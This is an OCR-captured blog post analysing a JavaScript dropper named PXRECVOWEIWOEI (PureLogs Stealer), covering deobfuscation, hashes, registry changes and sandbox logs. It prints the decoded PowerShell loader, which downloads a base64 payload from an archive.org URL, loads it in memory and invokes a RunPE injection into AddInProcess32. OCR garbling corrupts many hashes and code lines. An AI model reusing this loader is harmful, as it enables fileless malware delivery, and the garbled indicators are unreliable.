Malware Analysis - PXRECVOWEIWOEI

@ mandarnaik016.in/blog/2024-09-21-malware-analysis-pxrecvoweiwoei/

In this post, We will do malware analysis and reverse engineering on a sample called
PXRECVOWEIWOEI (AKA PurelLogs Stealer).

The source of the sample is

hxxps[://]bazaar[.]abuse[.]ch/sample/574403dced45he3a5edecl18e66T16fef5e013ce99c771347
9ab67c11e6f472330/#intel

Static Analysis

Let’'s get the hash of the file first.

SHA256: 574403DCE45BE3ASEDEC18EG6F16FEFS5EO13CE99C7713479AB67C11EGF472330

On VirusTotal, the file is detected as malicious by 25 engines.

C' Reanalyze == Similar v More

574403dce45be3a5edec18e66f16fef5e013ce99c7713479ab67c11e6f472330

Purchase Order . September Deelivery.js 602.40 KB amoment ago

text

The sample opened in notepad++ looks full of long strings assigned to variables with
extremely long names.
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https://mandarnaik016.in/blog/2024-09-21-malware-analysis-pxrecvoweiwoei/
https://www.virustotal.com/gui/file/574403dce45be3a5edec18e66f16fef5e013ce99c7713479ab67c11e6f472330/detection
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1 var hkgWIf kanuWGNrb KL] GovkLRlULGdaNKu.mz 1 kvbmhPLpnWKWi. k] LWuHLx deaL KBKI(:CZ—\X PWWQIRKTIWZ. AOPU'UCQW =
"1

CnLBozWLUidLkWzA =
; pr 7

doUOWT i PULUPLQOL] GGKBGMEWCQA LT, RALPWsNfzZt1GAiaipihzbBhWcG
var kaleNGJ-\HJ‘N]CKpanRathgWLowdvhthftLLalhchSlCchZGzIqLLnCkUpcKKLlKKTzlPLONzPlN‘ElkoEKfCO =
c kK ,

7 varyj htQxLlanerNeLTfLEcWLpWKoUTAtAKuOOthZ-\epLNtkczPAZCJ'bGZUqunccdkbbWOLGquvOlLkdubWKJTRkN =
1pcx";

11

12

13

17

JavaScript i length : 309,810 lines: 1,962 Ln:4 Col:38 Pos:614 Windows (CRLF)  UTF-16LE BOM INS.

The variables seem to be added purposely to distract us from the actual investigation point.

The occurrence of variables is only one for each, meaning they are declared with strings but
never used.

Find (%]

Find  Replace FindinFiles Find in Projects  Mark

&R B ol hkREbeul PA CSangiLIRIPiE thEAqkGZPWalGH RS | Find Mext [:]
[ Count ]
[ ]1n selection Find All in Current

Document

(J Backward direction Find Allin Al Opened

[ I Match whole word only Documents

[ Match case Close

B virap around

Search Mode B transparency

© tormal © on losing focus

(O Extended (, ¥, \t, 0, be...) (O Always

() Reqular expression . matches newline 1

Count: 1 match in entire file

After ignoring them, we see some interesting variables that have been used repeatedly.

2/9



& 11e6f472330s - Notepads+ [Administrator] [<]
File Edt Serch View Encoding language Settings Tools Macro Run Plugins Window ? v ox
o IR IR | Thw®| @ B

TesT2s0js 6|

1120 t }
1121 }

1122

1123 var indeterminadamente
1124 var tonta

\r AAMAADAXAQXAT FAhBAAAMEADB

ANAgS

WKACC

AnAQXAQHAYE

1130

JavaScript file length : 309,810 lines: 1,962 Ln:21 Col:95 Sel:90|1 Windows (CRLF)  UTF-16LE BOM INS.

The variables are interconnected. i.e. the variable fonta is used in variable aligulado, inturn
that variable is used in publicista. We are going to focus on the content of publicista. We
can see a base64 string, after decoding it.

3/9



W From Base64, 2 more - CyberCl X +

D file///C:/Users/Admin/AppData/Local/Programs/retoolkit/cyberchef/CyberChef v10.5.2.html#recipe=From_Base64(A-:

s

Download CyberChef ¥ Last build: A year ago - Version 10 is here! Read about the new features here Options €8 About / Support @
Operations Recipe Bl E npuw + 0358
AHOASQARACSATUBAGUAT AATACS A ASACANbIUBKACCAKWARAEAD UAPACCAYQBZAC CAKWANAHIHAZOBEAGTAJUAr ACCADABSACAARNB LACCARWANAHOA. A
replace From Base64 ZQAOACCAKUANA AFIAJWAFACCAGQBUA 5| ADUANACSATUBLAGUAS gBCAGAAKQAT ACCAKIARAGBAZABHACCAKLAN
S - 5BACCAKUATAGEATIATACCABUAACSAJWBKAC CAKUAACAAD VAT ACCAPOATAC SA JUAGACCAKIATAGEATUAT ACCAZAATACS A EHARQA DA ACCA
Find / Replace Alphabet . A AGUAGABIA . o A OAORBUACKAOUBVAGOATA
A -84/ Remove non-alphabet chars €QBUACCAK UAJWAPACCAL, CAKUANAGUA < SAWE: \OUBVAGQATABE
AGUAGABOAGE! A AJWB2AGBAZIB1ACEA AAWWBVACCAKWANAGIAGEB1ACCAKIANAGHAJAARACS ATUBDAFBA
Bit shift right JWArACCAXQBAACgASEANACSATWBCAGAAAANACSATWBAAHQAL gB1AGAADWBFACCAKWANAGEATWARACCADQAVACCAKWANAHYAZQBKACCAKWANACAANGAN

ACSATuBYACCAKWARACAATUAPACC ANUASAGTAMIABAC ACSAJuAUADTAYQAUADCANQB: ADEAJUArACCAYEARACSATUBIAD
IUAGADUAYEA2 ADHATWAACCAIEE 1AGTACQANAC SATE1ACCAKIANAGUANEAYACOAY B AHAA WA ACC AL UAVADOACHANAC SA JUBUAHQAGABOACCAKuAN
AEOAQEANACSATWBUACAAL AARACS ATUAGAE OAQEBUAGQAZQBZAGEATUAPACCAdAARAC SA JWBPACCAKUANAHYAYQBKAGEASEANACSATUECACCAKWANAGAA
Remove Diacritics JUAPACCATAAS ACAATWARACCAS GBCAGAATWAPACCAZABLACCAKANAHNAY QBOAGKAEBh AGQABUBKAE LA gARACS AJAGACHA TABKAE TATWArACC ADEBK
Remove null bytes AGUACIBAHQAAQB2ACCAKHARAGE AZAARACSATWBY ACCAKWARAECAT WA 'CCHQEBWCNMSgBCAGAMJNAmCc«QQBKMGQASQBW«F«McgEvAGHMJNMMECH

14

[ strict mode

SHAO ZQBZAHMAMUAY AE 0ATUAPACCAQEBUACHASEANACSATBCACCAKUARAGY. A[(AKNAHAEIAbgApA[(quAn
1) e A(kuﬂuum«[kALgESAGUAUAESAGEAQNEIACgA]MEKAEIAbgunu[M B TAFQAUgBIAE 4A RUBUAF SAQUEOAGEAUgBAADMAOQAPACAAUGBLAF AABABRAE!
Streebog ZQA0ACgA ADEAKWBbAEMA2ABhAF TAXQAXADAAMAArAF sA AGEAUgBdADCANgAPACWAIWAKAC cAKQBBACAAL gAgACEATAAK
Find e AFARCUBOAE8ADQBF AF SAABAACS ADABQAHIASABVA SATWBAACCAKQA .
e STRING ~ Replace
. s =1 Tr e oyt e L
Favourites * ™ Global match Oesefsasines [ Muttiline matching Output A0Dm:

(*odLurl = JBnhttps://1a084601.us.archive.org/6/itens/detah-note-]/DetahNotel . txt1Bn; odLbases4Content = (New-Object
System.Net.WebClient).Downloadstring(adLurl) sodLbinaryContent =

[System. Convert] : :FromBase64string(odLbase64Content); odLassenbly =
[Reflection.Assembly]::Load(odLbinaryContent);odLtype = odLassembly.GetType(JBnRunPE.HomeBn);odLmethod =

odLtype. GetHethod(JBnVATIBn) ;odLmethod . Invoke(odLnull, [object[]]@(JBntxt.enocam/
ved.2r.30h345302a075b1bc@d45h632eboee62-bup// :sptthIen , Jendesativadolsn , Jendesativadoden ,

JBndesativadolBn, JBnAddInProcess32I8n, JBndesativadolBn)); ') .RePLaCe( "IBn ", [STRING]
[ChaR]38).RePlaCe(([ChaR]111+[ChaR]100+[ChaR]76), $") | . ( $PShOME[4]+$PSHOME[34]+'x")

Data format
[ Dot matches all
Encryption / Encoding
Public Key
Arithmetic / Logic

Networking

Language

Utils
i STEP m Lolbeke

The decoded base64 is a powershell script that is gibberish. Let’'s evaluate the script to
make it understandable.

Administrator: [indows\systen e - powershell

Write-Host

RePlalCe STRING][ChaR]39).RePlale ChaR]111+[ChaR]18 ChaR]76
34

After beautifying the script, we can connect the dots

$url = 'https://ia9846@1.us.archive.org/6/items/detah-note-j/DetahMotel. txt’

$basegdContent = (Mew - Object System.Met.WebClient).DownloadString($url);

$binaryContent = [System.Convert]::FromBase6d4string($basesdContent);

$assembly = [Reflection.Assembly]::Load($binaryContent);

$type = $assembly.GetType( RunPE.Home');

$method = $type.GetMethod( 'VAL");

$method.Invoke($null, [object[]]@( txt.enocam/ved.2r.39b345382a875b1bcBd45b632eb%eeb2-bup// sptth’, 'desativado’,
‘desativado’, 'desativado’, 'AddInProcess32', ‘desativado’));
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The powershell script downloads the DetahNoted.txt, loads the content into a variable, then
base64 decodes that content, eventually storing it in a variable called $assembly. The result

of the above script can be accessed via variable $OWjuxD (l.e. base64 decode of
$Codigo).

Finally, the output is executed via a powershell.

Let’s check the content of a file called DetahNoted.txt. (PSSS: Shouldn’t the filename be
DeathNote and not DetahNoteJ?)

[&f Z:\DetahNotel.txt - Notepad++ [Administrator]

File Edt Serch View Encoding Langusge Settings Tools Mscro Run Pluging Window 7 v ox
BB RES | | % i Bhw® @ 2]
B 572403dcedsbe3aSedec BeGarfef5e13ced9cTTI473aboTcl1ecrd72330js (3|B new1 3| Btextbat 3 EDeabotelx @)
Ir MAAALE] /8AAL NIbgBT! TGNRbmSwdCBi T T: ITARAE4: I magh
c T EanAE EBIABLAAAAATACADVE 5 DeayaAn
TanAC hOARAALE TiRAAAT 5 BALNJ1bGE3 ARRM =i
EGAAAACARUAKLARABQLC: KT 4 ToFwARCI 81ARRTCOKABDOUARRAL: 42/ // /410
23 YAB1 OmEGEARAQU/ GE G CRAECSGT /11 me/UIMQSOv///ngAmAD]H////Kg}mﬂqﬂua)‘mﬁ
: 101 EOGV// 115
e 3U/// /] GABREU: TARRTDWKABDRL/// /75 &
/1 1gwnnEuE : 170 /1
AUQEGBYOFQARBIARARARE Z6 IARRTTAGABDEO/ // /3 /
/ i /1/35EGGB T R799gABDBS/// /3 7 % 711 /
MARAASKY///XEDOK3/ /) 1t 1 S %

s % 117 1173 7 /g SE/E/1 /enka
AACTASARAAAAFS IAARTEAKASDME/ £/, CagRBDa+////3 /84T
QAAACACARAA£rEIAART4QgABDm2/// /I3 ACARAAOL////SARAIUEQKAAAQUAWARAHG/ CARESTIIARQSCV/ /. ///PAT1COARBET. 7 //voRAToN/ /17 05D/, /

3
ABCoAJgIT 71 Iz / 1na00D//,
egyxmosm///ngBmw,T////mcxnszgAqus/cmemmwsa////ngAomnhs////mlemmF GOAREC / 16/ CAREwS ARQGHY/ / Don////ADiQ/ 11/ FOg3///enIATAMARAY// /WBAAXT+A
RE g 42/7/ /xEB0m3 // FIAAAASAAAABEBK TTCOAABBE AEQCOASGLARAGT CanEOzz/ /]
EnTAQARARGI/// /1 0a¥01 D: Cma/glmmsf?///qummmth////OII///ngmﬂﬁ/cma7w1mcsw?///y 0N/ /7 3
TACARARAAFrSTARR7SQUABDIN/ ///JiARARRRONL/ //84HWANACACARARE T8 TARRT 30gABDAD/ // / JIAAARAROTT/ / /B8R DARARTAEARAD+DGARO R BQARRCEARARSL CAREETTIARQ52E///yYGRARRAD] B/ // /EQEQOR3/
11 G 7 N TARRQ) DARAAZQ UBAAC 7184z
/ CRAEC+TIAAQSAE// /1/BT+ATL 11 //¥YgCQARADgz/ /. 23R 111 111
84zl g /3 R7yggABDmA/ v/ /3 +// ¥7//zn¥/ /] /1 7/ ’ 7
28Dg1/v//00D+/, /1 13 /8coVL. CAAECBYIAAQ663//yYg e /£//BAID/GET; x //7: 39/ 8WE: Dix/z//!
e/ 37 ///AXT+XTh4 AQAROR E
WD/, 1t / 1aca, 7005E/ /// 1173 7 % CARE<STIARQG6E7 //YYGDORRRD S/ v/ /AXT+AT S/ /1]
34/ /EnT v/ /£QeqAzCTS /eRADLE/ /1 EonD+/ W 7+//8452//, ’ +41ARQ61/7//
S/ /EcT 3//xeT; G Dac / /5T //%EBX334//// IAEARAB +aghBHuzCARE
OqD///SmTATANAALE/ /. Jronces T GRACHE +ARIATAUAARASo/ /. J1F0L3/11
ARECTOTARQGe//, 114011717 171 ALEe AMIARQEQP//, 7 2R //eRACDSRE
QPIGTYWEPhEZe IARR ® /113 // SRASORAAITGOARES: / 1B2I0RACIRT ///8n1 7 GAgAEDoC////Jih
BARAROBE/// B00/NIYIONEVU: 5QKABDED/v/ /3 oL
: KICAACT: : / /7/3B¥TALAL /1738 7
EOgx// /el a//7/. 3%/ v/ /OB / /2 H6/CAAEe/YTAAQ62P7/ /yYgAAMAADSN/ v/ /ABYTAIARAAAROL/ +// 84RP// /YATAMAROLD+/ /84NE/ /. CQARBISp/oEW/. 22700525012/ v/ /3. oG
v+//SRABEG/ gOTCC 28R v//J1ATARRAOET+//8418/ /[ yAEARAAF ¥STARRTwQgABDor /v/ / J1AEARAROCDS/ /8] 4D/7//2iRAMIAT] 47/ /YT 0 D33/ £//5006387// (ATARRAONLS /2 H6/CARER +U
TARQSU/3//VYgC 1 \03/9//8RBTnY/ 1/ /T FOYT 9/ /SnIAUARAAS: Cexks e 38//SRFXMCT 20/ [=rLoNs) /0 4TARQGKES/ /¥ Dgd/£//00£8//8g
e e Tl il e e e P sasra s o T e 78403/ / hAR / /84/vz/ /yANRARA/G4TR
Dni/P//EzAEAT /18 R////EQRRAVOT +qqBBDDZ/ [
11 ’ ///ABECELoT: 7 /1/138AAANTASAIARRROBT/ /[ SAAGT IEK
TaBTOKC ¥ T % v
7 cazze 111 R 111
ML/, R7EQKABDZR/// /3 //eRaS0+R// 1 as/ /713 //SnRARTIAMAT
= Tane 17 //5RAnAT 7 3G/ ///EQRGART
z 7 7 =0 / %
e AAQSO£///yYGhgARADIG////EQEQARTT ac/ /113 7
: TCAIABDn/ /[ /3 //SARGATMAQAT, CAMESETARQ60E///yYGRARAADI G/ // /ACORAS
11 B

Normal text file length : 2,826,240 lines: 1 Ln:1 Col:1 Pos:1 Windows (CRLF)

ogw

UTF-3

+

O filey///C:/Users/Admin/AppData/Local/Programs/retoolkit/cyberchef/CyberChef v10.5.2.htm#recipe=From _Ba: ' true false)Detect_File_Type(true,true true true, true,true,true)

3 Last build: A year ago - Version 10 is here! Read about the new features here Options ¢ About /Support @@
8 Recipe BmE mnpu + 0= W
ot S TVaoAANAAAA /AL EARAAAAAARQAAAAAAAAAAAAARAAAAARAA AAAAAAAAAARAA AAAAAARAAARAGARARA LgaAta I
Favourites * Alphabet

A-Za-20-9+/= Remove non-alphabet chars

Data format

Encryption / Encoding [ strict mode

Public Key
Detect File Type DetahNote.
2,826,240 bytes
Arithmetic / Logic unkn,
images [ Video Audio Documents |4 Applications 100%
Networking
< >
Language ® Archives Miscellaneous - amee =1 Tr row mytes 4o LF
UHE Output B0 5
Date / Time File type: Windows Portable Executable
Extension:  exe,dl1,drv,vxd,sys,0cx,vbx, com, fon,scr
Extractors MIME type: application/vnd.microsoft.portable-executable

Compression
Hashing
Code tidy
Forensics

Multimedia

Other
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Now we can check the compiler or packer used to compile or protect the program; we can
use DIE for this.

fe'.e:'.'.EE:- 3.08 ndows 10 Version 2009] (x86_64

File name

» | |C:\Users\Admin\Desktop\download. exe.bin

File type File size

Advanced
PE32 = 2,02 MiB
Scan Endianness Made Architecture Type
Automatic - LE 32-bit 1386 DLL
* PE32
Operation system: Windows(95)[1386, 32-bit, DLL] 5 7
Compiler: VB.NET S ?
Library: NET(w4.0.30313) 5 ?
Linker: Microsoft Linker S ?
Shortouts
Options
Signatures v Recursive scan |V Deep scan Heuristic scan | Verbose About
Scan
Directory 100%% = Log All types 550 msec Exit

Dynamic Analysis

The sample is compiled in .NET without any packer or crypter used. we can directly
decompile it using dnSpy
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P start

System.Data.Ling (40.00) X

fccovv~
0203303330

PEP

931:19.AM
28D oy R

After a night with tea by my side, | was not able to understand the logic behind few
variables, and was not able to decrypt them either. Let’s directly execute the sample.

ocess Monitor - Sysintemals: w om
Edit Event Fiter Tools Options Help
d=XedRTE 4 . &) 2|8

Time of Day | Pro Operation Detai

Becess: Query
Query

CuenyVa
QuenVaue
egOpenke

idertiiers\TransparentEnabled ath: 80
idertfiers

Desied Acce:
System\Curert e ied Acce:
System\Cure - em Desied Acce:
2 Type: REG.

24l a e
nsvep_win dl 5 0434000
ystem32\wicribase 7 e Size: 0100000

System: c image Size: 0354000
ystem 0

Showing 20,125 of 2

- m @ m [ | A DGy SE0Am B

9/20/2024
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77 ~resx64txt - Notepad [<]

File Edt Format View Help
Regshot 1.9.0 x64 ANST
Comment:
Datetime: 2024/9/20 16:49:46 2024/9/20 16:51:24
Computer: DESKTOP-E3VCHZD , DESKTOP-E3VCH2D
Username: Admin , Admin

Keys added: 15

HKU\S-1-5-

1-5-21-1307485066-4231961867-2689905208-1800\ SOF THARE \Microsof t\Windows\CurrentVersion\Explorer\ComD1g32\0penSavePid1MRU\hiv
HKU\S -1-5-21-1307405066-4231961867-2689905208 - 1090\ SOF THARE \Microsof t\Windous\CurrentVersion\Explorer\FileExts\.hiv
HKU\S -1-5-21-1307405066-4231961867-2609905208- 1000\ SOF THARE \Microsoft\Windous\CurrentVersion\Explorer\FileExts\ . mv\OpenwnhL;st
HKU\S -1-5-21-1307485066-4231961867-2609905208 1800\ SOF THARE \Mi crosof t\Windows\CurrentVersion\Explorer\RecentDocs\ .h
HKU\S -1-5-21-1307405066-4231961867-2689905208- 1HQH\SOFTWARE\MJ(r‘usuFt\WJnduws\[ur‘rentVer)uh\Explurer\Sess)uhInFu\i\ ApplicationVi 11018
HKU\S -1-5-21-1307405066-4231961867-2609305208-1000\SOF THARE \(1asses\Local Settings\Software\Microsoft\lindows\Shell\BaghRU\G\6

HKU\S -1-5-21-1307405066-4231961867-2609905208- 1000\ SOFTHARE \C1asses\Local Settings\Software\Microsoft\Windows\Shell\Bags\78
HKU\S -1-5-21-1307405066-4231961867- 2609905208 1000\ SOF THARE \C1asses\Local Settings\Software\Microsoft\Windows\Shell\Bags\70\ConDlg

HKU\S -1-5-21-1307405066-4231961867-2609905208-1000\SOFTHARE \C1asses\Local Settings\Software\Microsoft\Windows\Shell\Bags\78\ConD1g\{7D49D726-3C21-4F05-99AA-FDC2C9474656}
HKU\S -1-5-21-1307405066-4231961867- 2609905208 1000\ SOF THARE \C1asses\Local Settings\Software\Microsoft\Windows\Shell\Bags\70\Shell

HKU\S -1-5-21-1307405066-4231961867-2689905208-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\B\6

HKU\S -1-5-21-1307405066-4231961867-2609905208-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7@

HKU\S -1-5-21-1307405066-4231961867-2609905208-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7@\ConDlg

HKU\S -1-5-21-1307405066-4231961867-2689905208-1000_Classes\Local Settings\Software\Microsoft\Windous\Shell\Bags\70\ComD1g\{7D49D726-3(21-4F 05 -99AA-FDC2CI474656}

HKU\S -1-5-21-1307405066-4231961867-2609905208-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\70\Shell

Values added: 37

HKU\S -1-5-21-1307405066-4231961867-2689905208 - 1090\ SOF THARE \Microsof t\Windows\CurrentVersion\Explorer\ComD1g32\CIDSizeMRU\G: 52 @@ 65 8@ 67 89 73 B0 68 @@ 6F 88 74 60 2D 0@ 78 @ 36 86 34 60 2D 00 41 0 4E 86 53 60 49 00 2 08 65 80 78
@ 00 00 00 G0 00 00 0P 0P O 00 00 00 00 B0 00 00 B9 0@ 00 00 G0 B0 00 00 6O 0O O 00 G0 00 00 0O 09 0O P G @0 00 00 0O 0@ 0P 0P 0O B0 00 00 B0 00 0P 0P 0P 0O 0P @ 00 00 0O 0P 0O 00 0O G0 00 00 DO 0D 6O 00 00 00 00 B0 00 00 00 00 @9 0
HKU\S -1-5-21-1307405066-4231961867-2609905208 1000\ SOF THARE \Mi crosof t\Windows\CurrentVersion\Explorer\ComD1g32\LastVisitedPid IMRU\6: 52 08 65 @0 67 B0 73 00 68 00 6F 00 74 00 2D 00 78 00 36 00 34 @0 2D 60 41 00 4E 00 53 @0 49 080 2E 00 6
HKU\S -1-5-21-1307405066-4231961867-2609305208 - 1090\ SOF THARE \Mi crosof t\Hindowus\CurrentVersion\Explorer\ComD1g32\OpenSavePid1MRU\*\7: 14 80 1F 50 EG 4F DB 20 EA 3A 69 10 A2 D8 03 00 28 30 3B 9D 14 0@ 2E 88 3A CC BF B4 2C DB 4C 42 B0 29 7F
HKU\S -1-5-21-1307405066-4231961867-2609305208 1000\ SOF THARE \Mi crosof t\Windows\CurrentVersion\Explorer\ComD1g32\OpenSavePidIMRU\hiv\0: 14 08 1F 50 E@ 4F DA 20 EA 3A 69 10 A2 D3 88 00 2B 30 30 9D 14 00 2E 80 3A CC BF B4 2C DB 4C 42 B8 29
HKU\S -1-5-21-1307405066-4231961867-2609905208 1090\ SOF THARE \Microsoft\Windows\CurrentVersion\Explorer\ComD1g32\0penSavePid1MRU\niv\MRUListEx: @0 80 0@ 00 FF FF FF FF

HKU\S -1-5-21-1307405066-4231961867-2609905208- 1090\ SOF THARE \Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\9: 66 8@ 69 08 72 80 73 00 74 00 2E 0@ 68 @0 69 GO 76 00 00 00 68 00 32 B0 00 60 00 00 00 00 60 @0 08 B0 66 69 72 73 74 2E
HKU\S -1-5-21-1307405066-4231961867-2689905208-1000\SOF THARE \Microsoft\Windous\CurrentVersion\Explorer\RecentDocs\ .hiv\0: 66 00 69 0 72 00 73 @0 74 GO 2E 09 68 00 69 @0 76 GO 00 00 68 00 32 00 60 @0 00 0O 00 00 @8 00 @O 00 66 69 72 73 7
HKU\S -1-5-21-1307405066-4231961867-2689905208- 1000\ SOF THARE \Microsoft\Windous\CurrentVersion\Explorer\RecentDocs\ .hiv\MRUListEx: @0 88 80 0@ FF FF FF FF

HKU\S -1-5-21-1307405066-4231961867- 2609905208 - 1000\ SOF THARE \Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1\ApplicationVi 1101A8\VirtualDesktop: 10 @@ @0 @0 30 30 44 56 72 E6 90 88 19 28 F4 43 B6 E5 98
HKU\S -1-5-21-1307405066-4231961867- 2609905208 1000\ SOF THARE \C1asses\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\@\6: 14 @0 2E 80 92 2B 16 D3 65 93 7A 46 95 6B 92 70 3A CA 08 AF 00 00

HKU\S -1-5-21-1307405066-4231961867- 2609905208 1000\ SOF THARE \C1asses\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\@\6\NodeSlot: 0x00000046

HKU\S -1-5-21-1307405066-4231961867- 2609905208 1000\ SOF THARE \C1asses\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\@\6\NRUListEX: FF FF FF FF

HKU\S -1-5-21-1307405066-4231961867- 2689905208 1000\ SOF THARE \Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7@\ConD1g\{7DA9D726-3C21-4F05-99AA-FDC2C9474656} \Mode: 0x00000004
HKU\S -1-5-21-1307405066-4231961867- 2689905208 1090\ SOF THARE \C1asses\Local Settings\Software\Microsoft\Windows\She1l\Bags\76\ConD1g\{7DA9D726-3C21-4F05-99AA-FDC2C9474656} \LogicalViewtlode: 080000601
HKU\S -1-5-21-1307405066-4231961867-2689305208- 1090\ SOFTHARE \(1asses\Local Settings\Softuare\Microsoft\lindows\Shel1\Bags\70\ConD1g\{7D49D726- 3C21-4F05-99AA-FDC2C9474656} \FFlags: 8x00000001

Ln 162, Col 120 100%  Windows (CRLF)  UTF-8

o8 )

udo cat /var/L0g/1netsim/report/r:
sion ‘1421

2024-09-20 12:34:
2024-09-20 12:34:56
nce on startup : non

35:17 First simulated date in log file
35:17 DNS Ty A, cla IN,
35:17 DNs conne type cla
35:17 DNS conne type: AAAA, google.co
35:19 DNS conne 3 2.0.0.10.in-addr.arpa
35:19 DNS conne e: PTR, este e: 251.0.0.224.in-addr.arpa
35 DNS conne . type: PTR, class . e e £.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.F.7.1p6
35 e method: GET, URL g e file name: /var/lib/inetsim/http/fakefiles/sample.html
HTTP connection, method: GET, URL ://qoogle. co o, file name: /var/lib/inetsim/http/fakefiles/favicon.ico
DNs i i
DNS conne name: push
DNS connection, . . requested name: push.services.mozilla.com
DNS connection, ty r d name: 1a904601.u:
DNS connection, typ , requested name: ct1dl.windowsupdate. com
HTTP connection, method URL: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?fc522c1cc@056638, file name: /var/lib/inetsim/http/fakefiles/sample

IN, requested name: shavar illa. com
i illa. com
mozilla.com
-09-2! a8 Last sinulated date in log file

My platform architecture seems incompatible, the program exited with some errors.
Atlast, we get no intel from dynamic analysis.

On VirusTotal, the file DetahNoteJ.txt is detected by 17 engines.

SHA256: 16912B71BDEFBBOBOEOBOE71D85BO095880D4DC250239E7D26E12454F7FG6BADF

C' Reanalyze = Similar v More

16912b71bdefbb0b9e0b0e71d85b0095880d4dc250239e7d26e1245 Last is Date

DetahNoteJ.txt 2.70 MB 1 minute ago

text

Whereas the base64 decoded content of DetahNotedJ.txt is a DLL file, detected by 7
engines.

SHA256: 97164081607B6FDB9BO95CBO1BBOA818FC77DB92DAD38B910BO5A90160748756
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C Reanalyze == Similar ~  More

97164081607b6fdb9b095cb01bb0a818fc77db92dad38b910b05a90160748756

System.Data.Ling.dll a moment ago

pedll idle detect-debug-environment assembly

We meet next time dissecting another sample or comming up with an evasion technique
until then €au ¢au
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